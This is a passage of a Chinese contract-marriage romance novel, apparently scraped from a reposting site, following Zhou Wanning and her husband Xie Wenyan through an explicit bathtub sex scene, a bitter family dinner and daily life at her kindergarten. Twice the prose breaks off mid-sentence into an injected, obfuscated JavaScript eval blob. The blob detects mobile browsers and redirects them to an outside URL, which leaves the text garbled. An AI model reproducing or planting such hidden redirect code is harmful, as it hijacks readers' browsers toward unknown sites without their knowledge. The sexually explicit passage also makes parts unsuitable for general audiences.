她不想妈妈因为谢温言的缺席而失落,所以哪怕头发都还没吹干,她也立马跑过来找他了。 她想让谢温言抽出一点时间,陪自己过去一趟。 只要让妈妈看到她现在是幸福的,就够了。 当然,如果谢温言不愿意去,她也可以采取一些非常规手段。 比如…… 牺牲下色相,使劲撒个娇什么的。 想着,她鼓足勇气推门而入。 却在看到浴室里的场景后,变得有些寸步难行。 浅蓝色调的浴室里,姿容称得上艳丽的男人,正仰面躺在浴缸里的水中。 他的衣服要脱不脱,露出了很明显的胸腹线条。 他还在伸手招她,像是叫她过去任意采撷他。 在周绾宁的记忆里,谢温言素来温雅又自持,从不轻易展现绮丽勾人的一面。 但他一旦对她展露,那么她就知道自己在劫难逃了。 “过来。” 他声调沙哑,微垂的眼眸,不掩其中慾望的深浓。 周绾宁看向他朝自己伸出的大掌,很明白这是什么意思。 一旦她握住,就代表她接受他今晚的求爱。 犹豫一番后,周绾宁还是鼓足勇气走了过去,不料手刚放到他的手心里,就被他猛地拽入了浴缸之中。 白色的睡裙瞬间沾水贴在了她曼妙的身躯上。 而她整个人则被困守在了谢温言温热的怀里,每一处与他身肌紧紧贴合。 周绾宁吓得要站起来,奈何周围太滑,没有支撑点,导致她再次摔趴在他的胸膛上。 热气氤氲中,两人四目相对。 谢温言醉眼深深,带着一丝捉弄完人后的笑意:“所以你说来例假,是骗我的对不对?” “我……” 说话间,谢温言低下头埋首在她脖颈处轻轻蹭着,嗅她身上甜腻的花香,“我算过日子,不是这几天。” 他吐息出来的气息像是火源,烫得周绾宁瑟缩了下,而他的话,则让她内心一凛。 没想到,他竟然连这种事情都记着。 倒不是为之感动,而是惊诧于他做那件事的热忱,竟然还会记得她的生理期。 看来,今晚确实逃不过去了。 周绾宁轻咳一声,故意岔开话题:“你喝酒了?” “嗯,喝了一些。” 周绾宁愣了下,急忙撑着他的胸膛,想把自己支起来:“谢温言,你不能醉。我来,是有事想和你商量。” 谢温言将手放到她的纤腰后,微微用力一揽,让身上的她再度坠进自己的怀里。 “你觉得现在……我有和你谈事情的理智吗?” 周绾宁神情透出无辜,最终郑重其事道:“这件事对我来说,很重要。” 谢温言打她的双膝,让她坐在自己的劲腰上。 而后他径直坐起,侵略性十足地凑过去,与她面贴面:“那就……边做边聊?” 周绾宁再次被他的直白吓到。 以前的谢温言虽然在那种事上强势,但好像不曾像现在这样直白。 她慌张地想要挣扎,却被他用大掌扣住双手压到了身后,以至于失去所有的反抗能力。 随后,他的双唇凑到她耳边,轻轻含上她的耳垂,气息湿热又缠人。 周绾宁为了保持理智而屏住的呼吸,顿时一泻千里,整个人也像泄了力一样,松松垮垮地陷在他怀里,无可救药地颤丿栗起来。 那是她最脆弱敏锐的地方。 他清楚,却又热衷于玩控,并且绅士感十足地照顾到每处……他熟知的能让她身心都溃败的地方。 或许是因为他真的很喜欢在那种事的时候,看到她招架不住求饶的眼神。 半晌后,周绾宁感受着潮热的吻,彻底陷在被他勾起的意乱情迷中,时不时呜咽着叫他的名字。 谢温言倾身过去,将眼尾忍不住泛泪、下方忍不住淌水的人拢在怀里安抚:“三个月不见,你对我有任何反应,都是正常的。” 周绾宁没有思绪,只是抓着他的衣襟小声呜咽:“谢温言……” 这三个字,是她到达时的救赎,也是她迷失时的寻求,是她拥有时的餍足,也是她失去时的慌张。 附在她耳边的磁沉声音,耐心又温柔地哄她,告诉她,他在。 不止在她身前,也在她身内。 最后,谢温言抬起她的双膝搁置在浴缸壁上,看向她的眼神炙热又坚定。 他的话语是渴求,眼神也在勾着她:“周绾宁,要我吗?” 如果是平时,周绾宁会隐瞒内心真正的想法,不表露任何情绪。 但在这种时候,她喜欢被他用力“疼爱”,就好像这个世界上还有人在深深爱护着她。 她伸手轻抚他的脸颊,主动抬头吻上他的喉结,告诉他—— 要的,她现在很需要他。 * 浴室里的热水从温热变得凉透,玻璃上的雾气也渐渐淡去。 谢温言清理好两人身上的痕迹,将已经累睡过去的周绾宁裹进他的睡袍里,打横抱回客卧的床上,还帮她掖好了被子。 他拎起外套,走到阳台外抽烟。 猩红的火是黑夜中无法触及的暖源。 男人俊秀的脸在烟雾中有些不真不切,多了几分凌厉感。 原以为今天会是两个人难得的坦诚相待,却没想到周绾宁心里的营垒还是坚固得让他无法撬开。 她有事找他商量,他很高兴。 至少说明她需要他,会依赖他。 只是没想到,她是来“求”他陪她一起去看她的妈妈。 也就是说,哪怕到了现在,她也还未将他当做是她的丈夫,以至于连跟她一起去看岳母的“本该”,她都是想靠诱引让他帮忙。 或许两年了,她都还没忘掉那个人,也不曾将他放在心上。 谢温言沉下眼眸,回屋看了眼熟睡的周绾宁,扫走心里的不舒服,转身从阳台离开。 * 次日清晨,醒来没看见谢温言的周绾宁,呆愣在床上许久。 两个人没多少感情,不过她记得以往的每一个被他用力疼爱的晚上,第二天一早,他总会给她温柔的事后照顾与“爱意”温存,避免她排斥与他下次欢愉。 除了跨年他急于出差的那次,再也没有像今天这样拔吊无情的时候。 果然,男人在深陷于那件事时,所表现出来的爱意都是假的。 周绾宁叹了口气,去往浴室洗漱。 在浴室刷牙时,她随意瞥了一旁的垃圾桶,怔住了。 里面躺着两只拆封了的包装盒,还有三个用过的套。 霎那间,周绾宁的面色变得绯红,默默将垃圾桶踢开,选择眼不见为净。 只是看着镜子里自己的“惨状”,她还是没忍住在心里唾骂了谢温言一声“禽丿兽”。 只见她脖子以下的区域,没有一块是好的,上上下下遍布了昨晚他留下的痕迹,还有那或深或浅的吻痕。 果然,他是个天生的资本家,不会在任何利益交换中吃亏。 不过是让他答应陪她去看妈妈,他便像是要将她吃拆入腹一样,恨不得把这三个月没吃到的滋味全部细嚼慢咽一遍。 只是昨晚谢温言到底答没答应自己的请求? 她只记得在自己说完找他的目的后,谢温言的眼神肉眼可见地阴郁了几分。 再后来…… 他猛地冲刺起来,打断了她所有的思绪,让她高悬在云端摇摆不定,直到失控后昏睡过去,乃至今早他什么时候离开的印象都没有残留。 周绾宁摇摇头,觉得自己还是得继续锻炼锻炼,以免哪天被他做死,成为京市桃色新闻的头条。 * 因心里一直惦记着要去妈妈那吃饭,所以白天在幼儿园里的时间,周绾宁觉得无比漫长。 几乎是一下班,她便飞速赶往了盛坤集团楼下。 她没有盛坤的门禁卡,也不好意思去打扰谢温言及其助理,便一个人坐在楼下的咖啡厅里等他。 一个小时前发给谢温言的消息,大意是她下班后来接他,希望他别忘了。 但估计他还在忙,所以不曾回复她。 而妈妈也发来了不少的消息,询问她今晚谢温言是否会赴宴,她都给了肯定的答复。 时间在咖啡店的人来人往中渐渐流逝。 终于,五点一到,大楼电梯上运输下来一批又一批的白领。 他们或是离开,或是来买上一杯咖啡,继续在玻璃幕墙前办公。 偶有人凑在一起吐槽上班遇到的事。 周绾宁本无心去偷听什么,直到她们口中出现了“谢温言”三个字,她的注意力就像是黏在了那些八卦上,有些挪不开。 “今天的高层会议从下午一点开到现在了吧,竟然还没开完,听说谢总还发了好大的火。” “哇塞,谢总竟然还会发火?他总给人冷冰冰的感觉,我还以为他从不发火,也不知道他发起火来是怎样的。” “可吓人了。 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“嗯,还在开会。不过您找总裁是有什么急事吗?我待会儿就去会议室帮您转告。” 周绾宁愣了下,脸上的笑容微微僵了僵,只能用面前的咖啡来掩盖自己心里的一丝讶异。 原来谢温言还没和林晗说,今晚他要和她出去吃饭的安排?还是说…… 谢温言昨晚压根就没答应她的诉求,是她自作多情了? 光是这一个猜测,就让周绾宁有些退缩了。 她慌忙改口道:“不用了,我就是下班过来顺路看看他。林晗,他还要多久结束?”如果还有一会儿,她就厚着脸皮再去求一求。 林晗看了看手表:“要到晚上七点才能结束所有会议了。现在是会议的中场休息,我过来帮他们带杯咖啡。” 见周绾宁脸上肉眼可见失落,她连忙提议,“要不夫人你现在上去看看,说不定能和总裁见上一面?” 周绾宁刚要开口说话,妈妈催促她的信息又来了。 她看着妈妈字里行间的殷切与期望,只能敛去自己心头的失落,装作不在意。 “不了,我有事得先走一步。林助理,你不用和他说我来过这,就让他安心工作吧。” 林晗脸上不解,但还是应下了:“好。” 周绾宁也没再久留。 她拎起包,和林晗挥手再见,而后快速离开了盛坤楼下的咖啡店。 在周绾宁走后不久,林晗觉得奇怪。 她折返回咖啡店前台,询问向来交好的服务员:“阿戴,刚刚和我交谈的小姐姐,到这多久了?” “从三点一直到现在吧。”男服务员回,“怎么了?” 林晗蹙眉:“你怎么记那么清楚?” “那么大一美女出现,谁都会时刻关注她的好吧。要不是三点那会我就没停过拉花,早就过去要微信了。” 林晗嗤了一声:“别做梦了,人有夫之妇,和她老公天生一对,无比般配。” 服务员好奇:“她老公谁啊?” “无可奉告~”林晗拿起三提咖啡,溜之大吉。 但直觉告诉她,周绾宁能在楼下等那么久,一定是有很重要的事找总裁,她得去通个风报个信。 可不能看着自家工作狂总裁把那么漂亮的夫人晾跑了。 然而,林晗刚到64层的秘书办,便看见谢温言正风尘仆仆地从办公室出来,手上还拎着西装外套,疑似要出门。 “总裁,你这是要去哪啊?待会儿不是还有下半场会议吗?” 谢温言见是她,顺□□代:“帮我推了今晚所有的应酬,我有家宴要赴。” “哦,好。” “待会的会议,我会让裴特助主持并收尾,你帮他一起记下要点。” “嗯,明白。” 林晗点头应下。 眼见谢温言走进电梯,她像是想起了什么,连忙飞奔过去挡住要关上的电梯门,将自己想说的话带到。 “总裁,夫人刚刚有来过。” 这点谢温言清楚,他看到了她发来的消息,只是还没回她。 “怎么没让她上来等我?” “……夫人没告诉我她来了。她在楼下咖啡厅里等了两个小时,但听说你还有下半场会议后,就先走了。” 林晗挠挠头,不太好意思,“她走的时候,虽然在对我笑,但我看得出她有点儿失落。” 后半句话,让谢温言的眼神微微一凛。 他再次将电梯门按上,乘着电梯一路赶去地下停车场。 8. 错觉 到达盛世名城后,周绾宁看了眼已经没电的手机,干脆把它放进包里,根据妈妈给的指示前往1单元2幢,坐电梯上楼。 在电梯上行过程中,她特意对着镜子抹了腮红和口红,想让自己的气色看着好一些,也想让妈妈不用担心她在谢家的生活。 其实,她已经不记得有多久没和妈妈一起吃过饭了。 今天能到妈妈家吃饭,她很开心,所以……谢温言没来也没关系,她好好陪妈妈就够了。 到了廖家门外,来开门的是一直跟着妈妈的周姨。 “绾宁来啦,快,就要开饭了。” 周姨热情地将她迎进去,一手递来拖鞋,一手又接过她手里的包。 周绾宁脸上盈着笑,换下高跟鞋,一边往里走,一边呼唤着:“妈——” 忽然,她呼唤的声音戛然而止。 只见餐厅里,妈妈新家的成员基本都在—— 廖叔叔,以及他的一双儿女。 周绾宁顿时变得有些不知所措。 她的目光下落,看向餐桌上的菜,发现那并不像是为爸爸准备羹饭,更像是……他们准备宴请什么贵宾,就连帝王蟹都用上了。 周绾宁直觉有些不对,但她不想往不好的方向想。 “怎么就一个人来,温言呢?” 赵秋韵站起身,一边拉着她坐下,一边又往门外看,似乎想要从虚空里看到她所期盼的人。 “温言工作忙,没陪我一起来。”周绾宁如实回答。 她对着妈妈新家的成员一一问候,“廖叔叔好,弟弟妹妹好。” 廖叔叔和廖颖对她点点头,友好一笑。 廖宇一看谢温言没来,嗤了一声,神情嘲讽:“我早说了,谢温言谁啊,京市顶级豪门的掌权人。” “以前的周家他都可以不放在眼里,现在周家落魄成这样,他又怎么会把这个周绾宁放在心上?你们还买了这一大桌子的菜,想让他卖个面子出席,这下好了吧,全部浪费。” “哥,你这说的什么话?”一旁的廖颖看不过去,出声制止。 周绾宁目光落在廖宇身上,片刻后,又落回到到妈妈身上。 只见她面色尴尬,但终究没说别的,只招呼大家继续吃饭。 廖宇不服气:“我说的不是实话吗,阿姨,你已经不是周家的夫人了,谢温言怎么会因为你多说两句话,就让我去他的公司入职。咱都别做白日梦了行吗?” “廖宇,你不说话,没人把你当哑巴。” 廖志杰看着自己儿子口无遮拦的模样,怒声制止。 赵秋韵也担心地看向自己的女儿。 周绾宁知道自己该为了妈妈忍下。 可这两年方方面面的事情,她忍够了,不想再为任何人忍了。 她将筷子放下,好看的眉眼微有些凉薄:“妈,所以你叫我来,压根不是想为爸爸做羹饭,或是和我吃团圆饭,纯粹是为了……给这个巨婴向谢温言要份工作,是吗?” “周绾宁,你说什么呢!” 廖宇猛一拍桌子,站起来吼着。 “绾宁,不是这样的。妈妈是真心想见见你还有温言的。”赵秋韵满脸着急。 廖颖也帮忙说话:“是啊,绾宁,你真的错怪阿姨了。” “绾宁,大家都是一家人,吃顿饭多正常的一件事。”廖志杰帮忙圆场。 周绾宁好笑地看着眼前的这家人,尤其是自己的妈妈。 她不得不接受一个事实,那就是自己再一次被妈妈抛弃了。 两年前,妈妈从鬼门关回来,对她说的第一句话就是,她有权利追求新的幸福。 她又说,廖叔叔一直在医院照顾她,她想和他成立一个新的家庭。 周绾宁没有阻止,也没有告诉妈妈,她和谢温言之间的交易。 她一心只想让妈妈放心,所以最后只能眼睁睁看着妈妈带着行李箱离开自己。 她以为妈妈的心里总有一块地方,很纯粹地装着自己这个女儿、装着过去的周家。 现在想来,只有可笑。 她闭了闭眼睛,起身:“你们吃吧,我还有事,就先走了。”这是她给自己最后的尊严和最后的体面。 “你能有什么事啊,周绾宁,以前我爸是你爸司机的时候,我就看不惯你这种目中无人的样子,现在你家都这样了,还在我面前装什么。” 廖宇干脆站起来,冷眼看着周绾宁,“外面不知道的,都说谢温言很爱他的妻子,将她保护得很好。但我们哪个不清楚你在谢家什么地位,谢家根本不承认你是他们儿媳。” “要不是你天天对阿姨说什么你和谢温言感情很好,弄得阿姨也以为谢温言很宝贝你,她会想到宴请谢温言帮我找工作?你现在生气,无非是被拆穿后恼羞成怒,冲阿姨撒什么气?” “廖宇,够了!滚回你房间去。” 廖志杰将手中的酒杯重重往廖宇的方向一砸,玻璃撞在墙上粉碎。 廖颖见爸爸发怒,连忙又牵又推,将廖宇带往他的房间,防止现场的矛盾进一步激化。 周绾宁微微侧过身,看向自己的妈妈。 有千言万语堵在她的喉咙,可她一个字都说不出来。 是啊,廖宇说得对。 是她让妈妈误会了谢温言很重视她,误会了她在谢家过得很好,才会有今天这场饭局。 “绾宁……” 赵秋韵想说些什么,却是什么也说不出来。 “妈,廖宇说得对。” 周绾宁的心气远没有以前还是周家大小姐时候的高了,此刻近乎是挫败的姿态,“我在谢家过得一点也不好,谢温言也没有很重视我。所以以后……您别再找我和谢温言吃饭了。我身上,没有你想要的。” “绾宁!”赵秋韵伤心喊着。 周绾宁只是冷着眼凝视自己的妈妈,随后退开半步,决然转身,离开这个并不欢迎也不属于她的家。 她走到门口准备换鞋,却意外发现打开的大门外站着一个人。 是谢温言。 他走进门来,目光冷冷地扫过餐厅里的两个人,最后落回到周绾宁身上。 “你怎么……” 不等周绾宁询问,谢温言靠近她,牵起她的手,又拿起一旁鞋柜上的包,问她:“走了?” “……嗯。” 周绾宁想,他应该听到了刚刚他们吵架的前因后果。 这时,赵秋韵走过来,声音明显焦急许多:“绾宁,妈妈真的只是想邀请你和温言一起来家里吃顿饭。哪怕……” “哪怕真的有事求你们,难道就那么不被接受吗。再怎么,我也是你的妈妈啊。” 周绾宁垂在身侧的拳头,微微捏紧。 继续争辩没有任何意义,她也不想让这些不纯粹的事情,和自己、和谢温言扯上什么关系。 她不想在这段短暂的婚姻里,欠谢温言任何人情。 只有这样,很久以后回忆起这段时光,还能是美好,而不是充满利益。 就在周绾宁陷入沉默时,谢温言突然开口道:“确实,求人帮忙,是人之常情。” 赵秋韵眼眸一亮,像是看到了什么希望。 而周绾宁则是愣了下,错愕到有些不知道该怎么才好,甚至有些想将自己的手从谢温言的手里挣脱出来。 谢温言却反手握紧她,提声道:“但我想,绾宁现在的伤心,并不是因为你想要请她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她小心翼翼地通过后视镜,观察着主驾驶座上的他。 刚刚在廖家,他对妈妈说的那一番话,字字句句都在维护她。 这种有人撑腰的感觉,已经很久没在她身上发生过了。 她很喜欢,也很想一直拥有。 这时,明潇的话在她脑海里响起—— “作为你的好闺蜜,我还是建议你好好把握一下谢温言。” “三个月说长不长,说短不短,或许会发生很多不错的事情,让你们这为期两年的婚姻继续维持下去呢。” 想着,她看向他俊秀的侧颜,心里微微悸动。 她不知道自己和谢温言的婚姻,在契约到期后,有没有可能继续维持下去。 他这次回来,确实有多次维护她。 不只是维护谢太太,而是维护她周绾宁稀烂的人生和自尊。 不过也可能是她的错觉。 毕竟结婚以来,谢温言给她的错觉实在太多了—— 先有两人刚结婚很是温存的那段时间,再是后来在她奶奶弥留之际,他对奶奶保证,会爱护她一辈子。 最后就是今天,他在廖家对她的维护。 都会让她误会他有那么一点儿喜欢她。 或许她可以听明潇的建议,试着追求一下谢温言? 能追到他固然是好。 追不到,自己好像也没什么损失,还能对谢温言……彻底死心。 9. 照片 春雨持续了一整夜,直到天明也未见停歇。 周绾宁吃着桐姨煮的海鲜粥,谢温言从书房里出来,在她对面落座。 昨晚,两人没睡在一块。 谢温言有感冒的迹象,说是怕传染给她,于是决定两人暂行分房休息。 周绾宁对此没有异议。 她是老师,不能传染病气过给学生。 但又想到如今自己是要追求谢温言的人,多少还是要有所表达。 于是她犹豫一番后,将桐姨给自己煎的鸡蛋,特意挑了片最好看的,放到了谢温言的餐盘里,以示自己对他的关心。 谢温言落座后看到了那片煎蛋,漆黑的眼眸不解地划过她。 随后他拿起还没使用过的筷子夹起煎蛋还给她,外加他碗里原有的那片。 他叮嘱:“不用担心我吃不饱。” “你自己多吃些。之前一直没说……你比我离家前瘦了许多。” 这话,让桐姨听见了,可了不得。 她连锅铲都没放下,快步过来端起周绾宁的小脸蛋左右看了看。 最后,煞有其事道:“哟,仔细一看还真瘦了许多!” “可我每餐都按食谱来的啊。”桐姨不解,“夫人在家时,我也没少投喂小零食,怎么会瘦了呢。” 周绾宁眼里的笑意微微一凝。 她连忙对桐姨抿唇笑,一是打算萌混过关,二是想撑起脸,让自己看上去肥嘟嘟些。 “可能是春天到了,自然而然瘦下来了些。” 其实是她在准备重拾跳舞,而第一个目标就是要减重10斤,所以有特意减少热量的摄入。 没想到一直照顾她的桐姨没发现她瘦了,倒是被刚回来的谢温言一眼就瞧出来了…… 她暗暗看向对面的男人。 他优雅地喝着牛奶,在感受到她的注目后,抬起漆黑的眼眸看来,仿佛洞悉了她所有的意图。 周绾宁心虚低头,继续喝粥,不动声色中掩下自己心底的秘密。 “对了。”谢温言一边在面包上涂抹黄油,一边漫不经心道,“待会儿吃完早餐,让李叔送你。今天你的车牌限号。” 周绾宁乖乖点头:“知道了。” * 车快到星海高级私立幼儿园时,李叔按例驶进一旁的胡同停下。 周绾宁刚要下车,身侧的谢温言突然伸手握住她的手腕。 周绾宁愣了下,好奇回头看他。 只见仰头戴着口罩闭目休憩的男人,微微睁开一条眼缝,里头漆黑又明亮的眼眸直勾勾地将她盯着。 “下次幼儿园再有人欺负你,不用再忍气吞声。无论发生什么事,有我给你兜底。” 这番话,就像是昨晚他在廖家说的那些话一样,很让人有底气。 周绾宁的心情变得复杂,最后她对他微微一笑:“我也不是什么忍气吞声的性格。放心吧,我不会让自己吃亏的。” 她只有在处理家事和谢家的事时,会有些不知所措。 谢温言点点头,从一旁的车载冰箱里取出小瓶鲜榨果汁塞到她的手里:“给你,上课累了喝。” 周绾宁垂眸看着手里的果汁,对他道了谢,下车离开。 路上,有阳光照在她粉色的风衣上,她整个人都仿佛沉溺在温柔当中。 谢温言就这样目送着她走向幼儿园,和无数送妻子上班的丈夫一样。 突然,有辆摩托车横冲直撞,驶向了斑马线。 而周绾宁正在上面过马路,看到幼儿园门口有向她挥手的学生,她热情地回应着,丝毫没注意一旁疾驰而来的危险。 那一瞬,谢温言身上的慵懒瞬间消散。 他连忙开门准备下车赶去周绾宁身边。 这时,摩托车在一阵刺耳的刹车声后,及时停住了。 没有撞到周绾宁。 谢温言吓到后,松下一口气。 就在他犹豫要不要过去安慰她,摩托车上的车手下来了,弯腰向周绾宁道歉。 他身前还挂着一个五岁的小朋友,显然这也是一位送孩子上学的家长。 而在看到小朋友的瞬间,周绾宁脸上的惊慌消散,笑容骤然明媚起来,满面惊喜。 三人站在一边开始交谈,看着很是熟络。 周绾宁甚至将他给她的果汁,送给了那个小朋友。 谢温言向来无悲无喜的神情,染上一丝不爽。 他发现自己还是接受不了,以后周绾宁的世界没有他的位置。 “先生,我们接下来去哪?”前头的李叔打断了他此刻充满占有欲的审视。 谢温言收回目光:“温鄞急性哮喘发作,住院了。我去看看他,也顺便去医院配点感冒药。” “好。” 库里南重新启动,男人沉沉的注视消失于摇上去的车窗里。 后来,漆黑如镜的豪车车顶,风景从学校外的梧桐树渐变成市中心的高楼大厦,直至出现京市第一医院的字样。 谢温言下车踏入住院部,走进谢温鄞的VIP病房。 保姆不在,只有戴着眼镜也不忘看动画片的小屁孩。 看到谢温言出现在这,谢温鄞的眼睛忍不住一亮,肉嘟嘟的脸上盈满笑容,哑着嗓音甜甜地喊了声:“哥哥。” 谢温言不喜欢谢家,唯独这个弟弟让他残留了些眷恋。 他拿出自己顺手在幼儿园门口买的魔方,递到他手心里,再揉揉他的发:“少看点电视,对眼睛不好。” “哥哥,嫂子呢。” 谢温鄞跟谢温言不一样,虽然他喜欢这个哥哥,但更喜欢嫂子。 谢温言微微蹙眉:“有我来看你,不够吗?” “不是的哥哥。我想看着嫂子。” “看着嫂子?她又不是小朋友,为什么要你看着?”谢温言对着生病的弟弟,难得也温柔了声调。 谢温鄞很是郑重其事,“因为我们班的一个小朋友,要跟我抢嫂子。” 这话倒是稀奇,谢温言嗤笑:“他打算怎么抢?” “那个小朋友叫楼之熙,天天跟我下战书,说迟早有一天会让嫂子变成她的小舅妈。”谢温鄞说着,鼻头泛红,还吸了吸,看上去受了极大的委屈。 “好哥哥,你一定要争点气,不要让嫂子跟你分开。” 谢温鄞许是和楼之熙“两小儿辩日”久了,如今也算是思维敏捷,能言善辩,“楼之熙说好了,等嫂子恢复单身,她就要把嫂子介绍给她小舅舅。” “哥哥,你比她小舅舅帅气,也比她小舅舅高大,应该也比她小舅舅有钱,你一定要狠狠迷住嫂子。” 谢温言嗤笑,不甚在意。 “哥哥~”谢温鄞抱住谢温言的胳膊,郑重其事,“我见过楼之熙的小舅舅。他骑着一辆很帅气的摩托,比你车库里的跑车都要酷,你一定要有危机感!如果嫂子不要你了,温鄞也不要你了。” “摩托?” 重复着这两个字,谢温言不知怎么回想起了早上看到的那辆差点撞了周绾宁的摩托车。 看周绾宁丝毫没有跟那个摩托车车主计较,还跟他怀里的小姑娘打招呼的模样,双方应该也是熟识了。 “哥哥,虽然嫂子跟我保证说,不跟你分开,但我还是不放心,这个给你。”谢温鄞往谢温言手上塞了一条纸条。 谢温言拿起一看,是一张保证书—— 【我______,向谢温yin小朋友cheng若,永远不和谢温言分开,做谢温yin小朋友一bei子的sao子。】 “哥哥,你让嫂子在这里盖个章,要用小花花章子盖。”谢温鄞的小胖手在保证书上一戳,郑重其事。 这时,保姆回来了,见到谢温言在,她立马恭恭敬敬对谢温言打了个招呼。 谢温言收下保证书,揉揉谢温鄞的脑袋:“好,哥哥给你转交。但你要在医院里乖乖听医生的话,好好吃饭。” “知道啦哥哥。” 谢温言要离开病房,都快要出去了,忽的想起什么,折返回来,交代任务:“下次,可以理直气壮地告诉你同学。” “什么?” “你哥哥……永远不会和你嫂子分开。” 想着,男人勾起唇角,离开病房。 * 周绾宁也是第一堂课开始前,才得知谢温鄞急性哮喘住院了。 她在下课后,组织了下语言给孙晗莉回了消息,先是表达自己对谢温鄞的关心,再是表示自己以后会特别注意谢温鄞的情况。 孙晗莉估计在忙,没回她消息。 周绾宁收好手机,往办公室走,却在经过园长办公室时,意外撞见一堆老师正扒着窗往里看。 她本想装作没看见,走自己的路。 谁知,同一办公室的小叶老师见到她经过,连忙一把将她拉过去,很是激动地对她分享:“小周老师,你知道吗,我终于遇到自己人生中的crush了!呜呜,没想到真的入园抢劫的爱情!” 周绾宁一脸懵,有些跟不上叶希荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338658|167799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的思维。 叶希荷叹了口气,干脆带着她一边往里挤,一边介绍。 “你刚在上课不知道,今天盛坤集团新拨下来的园长来上任了。我刚看了一眼,发现是个极品大帅哥,光是目测身高就有180cm以上,穿西装、大长腿、有薄肌,整个人都长我xp上!” 听到叶希荷无比激动的这个形容,周绾宁也对这位新园长有了兴趣。 但在看清里头的人时,她当场愣住。 怎、怎么会是周辞安? 她……那个不太着调的堂弟。 叶希荷没发现周绾宁眼底的震惊,小拳头娇羞得捶着她的胳膊,兴奋不已。 “据说这位新园长要在我们幼儿园里待满两年,再按照集团的流程,升为盛坤教育的总经理。呜呜,真是年少有为。我一定要在这两年里把他拿下!快祝福我!” 听此,周绾宁有些尴尬地祝福她:“加、加油。” 随后她趁叶希荷沉迷里头那人的美色时,快速回了工位,给周辞安发消息:【你怎么会来星海幼儿园?】 对方很快回:【工作调动。】 又详细解释,【总部安排我在盛坤教育旗下的幼儿园里挑一个入职。】 【我思来想去,还是来星海幼儿园陪你,多少有个照应。】 随后周辞安又发来一连串的消息:【[图片]】 【我妈知道我来星海上班,高兴得不行。】 【要我带一堆她腌制的海鲜,让你拿回梧桐湾吃。】 周绾宁看到来自家人的关心,心里虽然有些疑惑,但还是忍不住弯起眉眼,敲字回:【帮我向伯母问好。】 发完,她想到什么,追加了消息过去,【小安,姐姐不想在幼儿园搞特殊,你对我当是对普通同事就好。】 之前的转正和评级她没有搞特殊。 现在,也不想搞什么特殊。 而且无论是之前,还是以后和谢温言离婚,她都会是星海幼儿园里最普通的一个老师。 周辞安回:【[ok]】 周绾宁看着堂弟的表情包,嘴角洋溢出笑容。 但她心里也是清楚的,周辞安会来星海幼儿园,想必有谢温言的助推。 怪不得今早他说了那句,让她遇事不需要忍,一切有他给她兜着。 有周辞安在,确实不太会有让她吃苦头的存在了。 他最护她这个堂姐。 想着,周绾宁的心情都莫名好了许多。 她打开谢温言的微信,想发条消息过去表示感谢。 但几次组织的感谢语都有点太过刻意,最后她选择退出聊天框,对着他朋友圈封面点了个赞。 另一边,谢温言刚结束会议,按例处理微信上这一个小时没有回复的消息。 他的目光先移向置顶,周绾宁还是一如往常,不曾发消息过来。 但下一秒,他发现她在三分钟前,点赞了自己的朋友圈封面。 他赶忙看向身后跟着的宋承珉,将自己的手机给他看:“这个……什么意思?” 宋承珉也不知道。 但他擅长胡诌瞎编,于是脱口而出三个字:“你完了。” 谢温言蹙眉,表露不解:“?” “你看你,都已经结婚的人了,朋友圈封面你设置的是什么?” 谢温言微愣。 宋承珉煞有其事地痛斥:“是你最爱的库里南?你可长点心吧!嫂子这是在说,在你心里,我竟然比不上一辆车?” 谢温言仔细按这个逻辑思索了番,发现也算合理。 于是他打开手机相册,挑了张他与周绾宁的婚纱照,放上去。 这张照片并不存在于相机的胶卷里,而是当时摄影师用手机抓拍的。 那时,太阳快要下山。 他们坐在车里准备收工,而早起化妆又拍了一整天婚纱照的周绾宁累得几乎是一靠在他怀里就睡了过去。 看着她近在咫尺的红唇,他失去了一向引以为傲的克制,几乎是鬼使神差般低头朝她吻去。 恰巧那时,远方的落日盛放出刺眼的光芒,两人的唇要触不触间,画面在摄影师手机里定格。 那张照片,虽然看不清他们的脸,却是其他同框照片里,最缠绵悱恻、爱意绵长的一张。 也正是因为这是他“犯罪”的证据,所以他私自将它保存了起来,没有给周绾宁看。 但现在,他不想藏了。 他给周绾宁发了条消息过去:【换好了。】 10. 节目 周绾宁看着谢温言发来的这句【换好了】,有些不知道他的意思。 但她没打算发消息去问,只当他是发错了人。 她将手机放下,认真地听着周辞安在上任仪式上颁布下个月的教学任务和新学年的任务目标。 其中,他提到了六一儿童节和校庆。 说是到时候会有集团的领导来,希望每个班都能准备一个节目,老师们也要排练三个舞台,方便他挑选最合适的上报。 周绾宁没把这事放在心上,她现在的重心是练好自己的舞,争取被市舞蹈团选为兼职演员。 这样,以后才有机会成为正式的舞蹈演员。 就算谢温言和她离婚了,她也会有一个很好的出路。 而且舞蹈是她究极一切都要寻回的热爱。 前两年,她为了生活向金钱妥协,为了谢温言向谢家妥协,几乎是将舞蹈完全放弃了。 现在她要把它寻回,不顾一切。 回到办公室里,周绾宁刚放下任务书,在饮水机前倒热茶。 叶希荷突然隆重地要求大家,都别跟她抢六一晚会的表演名额:“我一定要选上这个节目,让园长记住我!” “没人跟你抢。”李老师对于小叶老师也算是有着长辈的宠溺,“我们都老了,跳不动了。” “你也不会跟我抢的吧。” 叶希荷将矛头对准游离于状况之外的周绾宁。 但周绾宁正在想事情,直到腰间被李老师戳了戳,她才意识到叶希荷是在跟自己说。 于是她摇摇头。 表示自己不参加。 徐婧路过,问叶希荷:“为什么你只问周老师,不问我?万一我也参加呢。” 叶希荷:“那能一样吗?” 